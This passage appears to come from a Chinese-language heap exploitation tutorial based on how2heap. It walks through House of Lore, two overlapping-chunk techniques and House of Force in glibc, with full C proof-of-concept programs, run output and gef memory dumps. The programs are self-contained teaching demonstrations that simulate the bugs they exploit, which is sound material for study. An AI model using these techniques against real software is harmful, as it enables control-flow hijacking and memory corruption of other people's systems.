+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603000, bk=0x603000
+ → Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)
+
+这时,申请一块大的 chunk,只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins:
+gef➤ heap bins small
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[8]: fw=0x603000, bk=0x603000
+ → Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)
+
+接下来是最关键的一步,假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin:
+gef➤ x/26gx victim-2
+0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]
+0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 <-- bk->fake chunk 1
+0x603020: 0x4141414141414141 0x4141414141414141
+0x603030: 0x4141414141414141 0x4141414141414141
+0x603040: 0x4141414141414141 0x4141414141414141
+0x603050: 0x4141414141414141 0x4141414141414141
+0x603060: 0x4141414141414141 0x4141414141414141
+0x603070: 0x4141414141414141 0x4141414141414141
+0x603080: 0x4141414141414141 0x4141414141414141
+0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5
+0x6030a0: 0x4141414141414141 0x4141414141414141
+0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2
+0x6030c0: 0x0000000000000000 0x0000000000000000
+gef➤ x/10gx &stack_buffer_2
+0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
+0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
+0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
+0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2
+0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
+
+我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的:
+HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL
+
+fd: ->
+bk: <-
+
+fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。
+接下来的第一个 malloc,会返回 victim chunk 的地址,如果 malloc 的大小正好等于 victim chunk 的大小,那么情况会简单一点。但是这里我们不这样做,malloc 一个小一点的地址,可以看到,malloc 从 small bin 里取出了末尾的 victim chunk,切了一块返回给 chunk p3,然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样:
+HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL
+gef➤ x/26gx victim-2
+0x603000: 0x0000000000000000 0x0000000000000051 <-- chunk p3
+0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50
+0x603020: 0x4141414141414141 0x4141414141414141
+0x603030: 0x4141414141414141 0x4141414141414141
+0x603040: 0x4141414141414141 0x4141414141414141
+0x603050: 0x4141414141414141 0x0000000000000041 <-- unsorted bin
+0x603060: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
+0x603070: 0x4141414141414141 0x4141414141414141
+0x603080: 0x4141414141414141 0x4141414141414141
+0x603090: 0x0000000000000040 0x0000000000000020 <-- chunk p5
+0x6030a0: 0x4141414141414141 0x4141414141414141
+0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2
+0x6030c0: 0x0000000000000000 0x0000000000000000
+gef➤ x/10gx &stack_buffer_2
+0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
+0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
+0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
+0x7fffffffdc60: 0x00007ffff7dd1bf8 0x00007fffffffdc30 <-- fd->TAIL, bk->fake chunk 2
+0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603050, bk=0x603050
+ → Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE)
+
+最后,再次 malloc 将返回 fake chunk 1 的地址,地址在栈上且我们能够控制。同时 small bin 变成这样:
+HEAD(undefined) <-> fake chunk 2 <-> TAIL
+gef➤ x/10gx &stack_buffer_2
+0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
+0x7fffffffdc40: 0x00007ffff7dd1bf8 0x0000000000400aed <-- fd->TAIL
+0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- chunk 4
+0x7fffffffdc60: 0x4141414141414141 0x4141414141414141
+0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
+
+于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。
+最后再想一下,其实最初的 victim chunk 使用 fast chunk 也是可以的,其释放后虽然是被加入到 fast bins 中,而不是 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。自行尝试吧。
+heap-use-after-free,所以上面我们用于修改 bk 指针的漏洞,应该就是一个 UAF 吧,当然溢出也是可以的:
+$ gcc -fsanitize=address -g house_of_lore.c
+$ ./a.out
+Allocated the victim (small) chunk: 0x60c00000bf80
+stack_buffer_1: 0x7ffd1fbc5cd0
+stack_buffer_2: 0x7ffd1fbc5c90
+
+Freeing the victim chunk 0x60c00000bf80, it will be inserted in the unsorted bin
+=================================================================
+==6034==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00000bf80 at pc 0x000000400eec bp 0x7ffd1fbc5bf0 sp 0x7ffd1fbc5be0
+READ of size 8 at 0x60c00000bf80 thread T0
+ #0 0x400eeb in main /home/firmy/how2heap/house_of_lore.c:27
+ #1 0x7febee33c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+ #2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38)
+
+最后再给一个 libc-2.27 版本的:
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+
+void jackpot(){ puts("Nice jump d00d"); exit(0); }
+
+int main() {
+ intptr_t *victim = malloc(0x80);
+
+ // fill the tcache
+ int *a[10];
+ int i;
+ for (i = 0; i < 7; i++) {
+ a[i] = malloc(0x80);
+ }
+ for (i = 0; i < 7; i++) {
+ free(a[i]);
+ }
+
+ memset(victim, 'A', 0x80);
+ void *p5 = malloc(0x10);
+ memset(p5, 'A', 0x10);
+ intptr_t *victim_chunk = victim - 2;
+ fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
+
+ intptr_t* stack_buffer_1[4] = {0};
+ intptr_t* stack_buffer_2[6] = {0};
+ stack_buffer_1[0] = 0;
+ stack_buffer_1[2] = victim_chunk;
+ stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
+ stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
+ stack_buffer_2[3] = (intptr_t*)stack_buffer_1; // 3675 bck->fd = bin;
+
+ fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
+ fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
+
+ free((void*)victim);
+ fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
+ fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
+ fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
+
+ void *p2 = malloc(0x100);
+ fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
+ fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
+ fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
+ fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
+
+ victim[1] = (intptr_t)stack_buffer_1;
+ fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
+
+ void *p3 = malloc(0x40);
+
+ // empty the tcache
+ for (i = 0; i < 7; i++) {
+ a[i] = malloc(0x80);
+ }
+
+ char *p4 = malloc(0x80);
+ memset(p4, 'A', 0x10);
+ fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
+ fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
+
+ intptr_t sc = (intptr_t)jackpot;
+ memcpy((p4+0xa8), &sc, 8);
+}
+$ gcc -g house_of_lore.c
+$ ./a.out
+Allocated the victim (small) chunk: 0x55674d75f260
+stack_buffer_1: 0x7ffff71fb1d0
+stack_buffer_2: 0x7ffff71fb1f0
+
+Freeing the victim chunk 0x55674d75f260, it will be inserted in the unsorted bin
+victim->fd: 0x7f1eba392b00
+victim->bk: 0x7f1eba392b00
+
+Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x55674d75f700
+The victim chunk 0x55674d75f260 will be inserted in front of the SmallBin
+victim->fd: 0x7f1eba392b80
+victim->bk: 0x7f1eba392b80
+
+Now emulating a vulnerability that can overwrite the victim->bk pointer
+This last malloc should return a chunk at the position injected in bin->bk: 0x7ffff71fb1e0
+The fd pointer of stack_buffer_2 has changed: 0x7ffff71fb1e0
+
+Nice jump d00d
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+
+int main() {
+ intptr_t *p1,*p2,*p3,*p4;
+
+ p1 = malloc(0x90 - 8);
+ p2 = malloc(0x90 - 8);
+ p3 = malloc(0x80 - 8);
+ memset(p1, 'A', 0x90 - 8);
+ memset(p2, 'A', 0x90 - 8);
+ memset(p3, 'A', 0x80 - 8);
+ fprintf(stderr, "Now we allocate 3 chunks on the heap\n");
+ fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);
+
+ free(p2);
+ fprintf(stderr, "Freeing the chunk p2\n");
+
+ int evil_chunk_size = 0x111;
+ int evil_region_size = 0x110 - 8;
+ *(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
+ fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n");
+
+ p4 = malloc(evil_region_size);
+ fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
+ fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);
+
+ fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
+ memset(p4, 'B', 0xd0);
+ fprintf(stderr, "p4 = %s\n", (char *)p4);
+ fprintf(stderr, "p3 = %s\n", (char *)p3);
+
+ fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
+ memset(p3, 'C', 0x50);
+ fprintf(stderr, "p4 = %s\n", (char *)p4);
+ fprintf(stderr, "p3 = %s\n", (char *)p3);
+}
+$ gcc -g overlapping_chunks.c
+$ ./a.out
+Now we allocate 3 chunks on the heap
+p1=0x1e2b010
+p2=0x1e2b0a0
+p3=0x1e2b130
+
+Freeing the chunk p2
+Emulating an overflow that can overwrite the size of the chunk p2.
+
+p4: 0x1e2b0a0 ~ 0x1e2b8e0
+p3: 0x1e2b130 ~ 0x1e2b530
+
+If we memset(p4, 'B', 0xd0), we have:
+p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
+p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
+
+If we memset(p3, 'C', 0x50), we have:
+p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
+p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
+
+这个比较简单,就是堆块重叠的问题。通过一个溢出漏洞,改写 unsorted bin 中空闲堆块的 size,改变下一次 malloc 可以返回的堆块大小。
+首先分配三个堆块,然后释放掉中间的一个:
+gef➤ x/60gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1
+0x602010: 0x4141414141414141 0x4141414141414141
+0x602020: 0x4141414141414141 0x4141414141414141
+0x602030: 0x4141414141414141 0x4141414141414141
+0x602040: 0x4141414141414141 0x4141414141414141
+0x602050: 0x4141414141414141 0x4141414141414141
+0x602060: 0x4141414141414141 0x4141414141414141
+0x602070: 0x4141414141414141 0x4141414141414141
+0x602080: 0x4141414141414141 0x4141414141414141
+0x602090: 0x4141414141414141 0x0000000000000091 <-- chunk 2 [be freed]
+0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
+0x6020b0: 0x4141414141414141 0x4141414141414141
+0x6020c0: 0x4141414141414141 0x4141414141414141
+0x6020d0: 0x4141414141414141 0x4141414141414141
+0x6020e0: 0x4141414141414141 0x4141414141414141
+0x6020f0: 0x4141414141414141 0x4141414141414141
+0x602100: 0x4141414141414141 0x4141414141414141
+0x602110: 0x4141414141414141 0x4141414141414141
+0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3
+0x602130: 0x4141414141414141 0x4141414141414141
+0x602140: 0x4141414141414141 0x4141414141414141
+0x602150: 0x4141414141414141 0x4141414141414141
+0x602160: 0x4141414141414141 0x4141414141414141
+0x602170: 0x4141414141414141 0x4141414141414141
+0x602180: 0x4141414141414141 0x4141414141414141
+0x602190: 0x4141414141414141 0x4141414141414141
+0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk
+0x6021b0: 0x0000000000000000 0x0000000000000000
+0x6021c0: 0x0000000000000000 0x0000000000000000
+0x6021d0: 0x0000000000000000 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
+ → Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE)
+
+chunk 2 被放到了 unsorted bin 中,其 size 值为 0x90。
+接下来,假设我们有一个溢出漏洞,可以改写 chunk 2 的 size 值,比如这里我们将其改为 0x111,也就是原本 chunk 2 和 chunk 3 的大小相加,最后一位是 1 表示 chunk 1 是在使用的,其实有没有都无所谓。
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
+ → Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE)
+
+这时 unsorted bin 中的数据也更改了。
+接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4,这会将 chunk 2 和 chunk 3 都包含进来:
+gef➤ x/60gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1
+0x602010: 0x4141414141414141 0x4141414141414141
+0x602020: 0x4141414141414141 0x4141414141414141
+0x602030: 0x4141414141414141 0x4141414141414141
+0x602040: 0x4141414141414141 0x4141414141414141
+0x602050: 0x4141414141414141 0x4141414141414141
+0x602060: 0x4141414141414141 0x4141414141414141
+0x602070: 0x4141414141414141 0x4141414141414141
+0x602080: 0x4141414141414141 0x4141414141414141
+0x602090: 0x4141414141414141 0x0000000000000111 <-- chunk 4
+0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
+0x6020b0: 0x4141414141414141 0x4141414141414141
+0x6020c0: 0x4141414141414141 0x4141414141414141
+0x6020d0: 0x4141414141414141 0x4141414141414141
+0x6020e0: 0x4141414141414141 0x4141414141414141
+0x6020f0: 0x4141414141414141 0x4141414141414141
+0x602100: 0x4141414141414141 0x4141414141414141
+0x602110: 0x4141414141414141 0x4141414141414141
+0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3
+0x602130: 0x4141414141414141 0x4141414141414141
+0x602140: 0x4141414141414141 0x4141414141414141
+0x602150: 0x4141414141414141 0x4141414141414141
+0x602160: 0x4141414141414141 0x4141414141414141
+0x602170: 0x4141414141414141 0x4141414141414141
+0x602180: 0x4141414141414141 0x4141414141414141
+0x602190: 0x4141414141414141 0x4141414141414141
+0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk
+0x6021b0: 0x0000000000000000 0x0000000000000000
+0x6021c0: 0x0000000000000000 0x0000000000000000
+0x6021d0: 0x0000000000000000 0x0000000000000000
+
+这样,相当于 chunk 4 和 chunk 3 就重叠了,两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <malloc.h>
+
+int main() {
+ intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
+ unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
+ int prev_in_use = 0x1;
+
+ p1 = malloc(0x10);
+ p2 = malloc(0x80);
+ p3 = malloc(0x80);
+ p4 = malloc(0x80);
+ p5 = malloc(0x10);
+ real_size_p1 = malloc_usable_size(p1);
+ real_size_p2 = malloc_usable_size(p2);
+ real_size_p3 = malloc_usable_size(p3);
+ real_size_p4 = malloc_usable_size(p4);
+ real_size_p5 = malloc_usable_size(p5);
+ memset(p1, 'A', real_size_p1);
+ memset(p2, 'A', real_size_p2);
+ memset(p3, 'A', real_size_p3);
+ memset(p4, 'A', real_size_p4);
+ memset(p5, 'A', real_size_p5);
+ fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
+ fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
+ fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
+ fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
+ fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
+ fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
+
+ free(p4);
+ fprintf(stderr, "\nLet's free the chunk p4\n\n");
+
+ fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n");
+ *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE
+
+ free(p2);
+
+ p6 = malloc(0x1b0 - 0x10);
+ real_size_p6 = malloc_usable_size(p6);
+ fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6);
+
+ fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
+ fprintf(stderr, "p3 before = %s\n", (char *)p3);
+ memset(p6, 'B', 0xd0);
+ fprintf(stderr, "p3 after = %s\n", (char *)p3);
+}
+$ gcc -g overlapping_chunks_2.c
+$ ./a.out
+Now we allocate 5 chunks on the heap
+
+chunk p1: 0x18c2010 ~ 0x18c2028
+chunk p2: 0x18c2030 ~ 0x18c20b8
+chunk p3: 0x18c20c0 ~ 0x18c2148
+chunk p4: 0x18c2150 ~ 0x18c21d8
+chunk p5: 0x18c21e0 ~ 0x18c21f8
+
+Let's free the chunk p4
+
+Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)
+
+Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8
+
+Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)
+p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
+p3 after = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
+
+同样是堆块重叠的问题,前面那个是在 chunk 已经被 free,加入到了 unsorted bin 之后,再修改其 size 值,然后 malloc 一个不一样的 chunk 出来,而这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。
+我们需要五个堆块,假设第 chunk 1 存在溢出,可以改写第二个 chunk 2 的数据,chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉,注意看 chunk 5 的 prev_size 值:
+gef➤ x/70gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
+0x602010: 0x4141414141414141 0x4141414141414141
+0x602020: 0x4141414141414141 0x0000000000000091 <-- chunk 2
+0x602030: 0x4141414141414141 0x4141414141414141
+0x602040: 0x4141414141414141 0x4141414141414141
+0x602050: 0x4141414141414141 0x4141414141414141
+0x602060: 0x4141414141414141 0x4141414141414141
+0x602070: 0x4141414141414141 0x4141414141414141
+0x602080: 0x4141414141414141 0x4141414141414141
+0x602090: 0x4141414141414141 0x4141414141414141
+0x6020a0: 0x4141414141414141 0x4141414141414141
+0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3
+0x6020c0: 0x4141414141414141 0x4141414141414141
+0x6020d0: 0x4141414141414141 0x4141414141414141
+0x6020e0: 0x4141414141414141 0x4141414141414141
+0x6020f0: 0x4141414141414141 0x4141414141414141
+0x602100: 0x4141414141414141 0x4141414141414141
+0x602110: 0x4141414141414141 0x4141414141414141
+0x602120: 0x4141414141414141 0x4141414141414141
+0x602130: 0x4141414141414141 0x4141414141414141
+0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed]
+0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
+0x602160: 0x4141414141414141 0x4141414141414141
+0x602170: 0x4141414141414141 0x4141414141414141
+0x602180: 0x4141414141414141 0x4141414141414141
+0x602190: 0x4141414141414141 0x4141414141414141
+0x6021a0: 0x4141414141414141 0x4141414141414141
+0x6021b0: 0x4141414141414141 0x4141414141414141
+0x6021c0: 0x4141414141414141 0x4141414141414141
+0x6021d0: 0x0000000000000090 0x0000000000000020 <-- chunk 5 <-- prev_size
+0x6021e0: 0x4141414141414141 0x4141414141414141
+0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk
+0x602200: 0x0000000000000000 0x0000000000000000
+0x602210: 0x0000000000000000 0x0000000000000000
+0x602220: 0x0000000000000000 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602140, bk=0x602140
+ → Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE)
+
+free chunk 4 被放入 unsorted bin,大小为 0x90。
+接下来是最关键的一步,利用 chunk 1 的溢出漏洞,将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,即 0x90+0x90+0x1=0x121,最后的 1 是标志位。这样当我们释放 chunk 2 的时候,malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。接着,它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk,放进 unsorted bin 中。
+gef➤ x/70gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
+0x602010: 0x4141414141414141 0x4141414141414141
+0x602020: 0x4141414141414141 0x00000000000001b1 <-- chunk 2 [be freed] <-- unsorted bin
+0x602030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
+0x602040: 0x4141414141414141 0x4141414141414141
+0x602050: 0x4141414141414141 0x4141414141414141
+0x602060: 0x4141414141414141 0x4141414141414141
+0x602070: 0x4141414141414141 0x4141414141414141
+0x602080: 0x4141414141414141 0x4141414141414141
+0x602090: 0x4141414141414141 0x4141414141414141
+0x6020a0: 0x4141414141414141 0x4141414141414141
+0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3
+0x6020c0: 0x4141414141414141 0x4141414141414141
+0x6020d0: 0x4141414141414141 0x4141414141414141
+0x6020e0: 0x4141414141414141 0x4141414141414141
+0x6020f0: 0x4141414141414141 0x4141414141414141
+0x602100: 0x4141414141414141 0x4141414141414141
+0x602110: 0x4141414141414141 0x4141414141414141
+0x602120: 0x4141414141414141 0x4141414141414141
+0x602130: 0x4141414141414141 0x4141414141414141
+0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed]
+0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
+0x602160: 0x4141414141414141 0x4141414141414141
+0x602170: 0x4141414141414141 0x4141414141414141
+0x602180: 0x4141414141414141 0x4141414141414141
+0x602190: 0x4141414141414141 0x4141414141414141
+0x6021a0: 0x4141414141414141 0x4141414141414141
+0x6021b0: 0x4141414141414141 0x4141414141414141
+0x6021c0: 0x4141414141414141 0x4141414141414141
+0x6021d0: 0x00000000000001b0 0x0000000000000020 <-- chunk 5 <-- prev_size
+0x6021e0: 0x4141414141414141 0x4141414141414141
+0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk
+0x602200: 0x0000000000000000 0x0000000000000000
+0x602210: 0x0000000000000000 0x0000000000000000
+0x602220: 0x0000000000000000 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
+ → Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE)
+
+现在 unsorted bin 里的 chunk 的大小为 0x1b0,即 0x90*3。咦,所以 chunk 3 虽然是使用状态,但也被强行算在了 free chunk 的空间里了。
+最后,如果我们分配一块大小为 0x1b0-0x10 的大空间,返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了,结果就像上面运行时打印出来的一样。
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <malloc.h>
+
+char bss_var[] = "This is a string that we want to overwrite.";
+
+int main() {
+ fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
+
+ intptr_t *p1 = malloc(0x10);
+ int real_size = malloc_usable_size(p1);
+ memset(p1, 'A', real_size);
+ fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
+ fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
+
+ intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
+ fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
+ fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
+ ptr_top[0] = -1;
+ fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
+
+ unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
+ fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
+ void *new_ptr = malloc(evil_size);
+ int real_size_new = malloc_usable_size(new_ptr);
+ memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
+ fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
+
+ void* ctr_chunk = malloc(0x30);
+ fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
+ fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
+
+ fprintf(stderr, "old string: %s\n", bss_var);
+ strcpy(ctr_chunk, "YEAH!!!");
+ fprintf(stderr, "new string: %s\n", bss_var);
+}
+$ gcc -g house_of_force.c
+$ ./a.out
+We will overwrite a variable at 0x601080
+
+Let's allocate the first chunk of 0x10 bytes: 0x824010.
+Real size of our allocated chunk is 0x18.
+
+Overwriting the top chunk size with a big value so the malloc will never call mmap.
+Old size of top chunk: 0x20fe1
+New size of top chunk: 0xffffffffffffffff
+
+The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
+As expected, the new pointer is at the same place as the old top chunk: 0x824030
+malloc(0x30) => 0x601080!
+
+Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
+old string: This is a string that we want to overwrite.
+new string: YEAH!!!
+
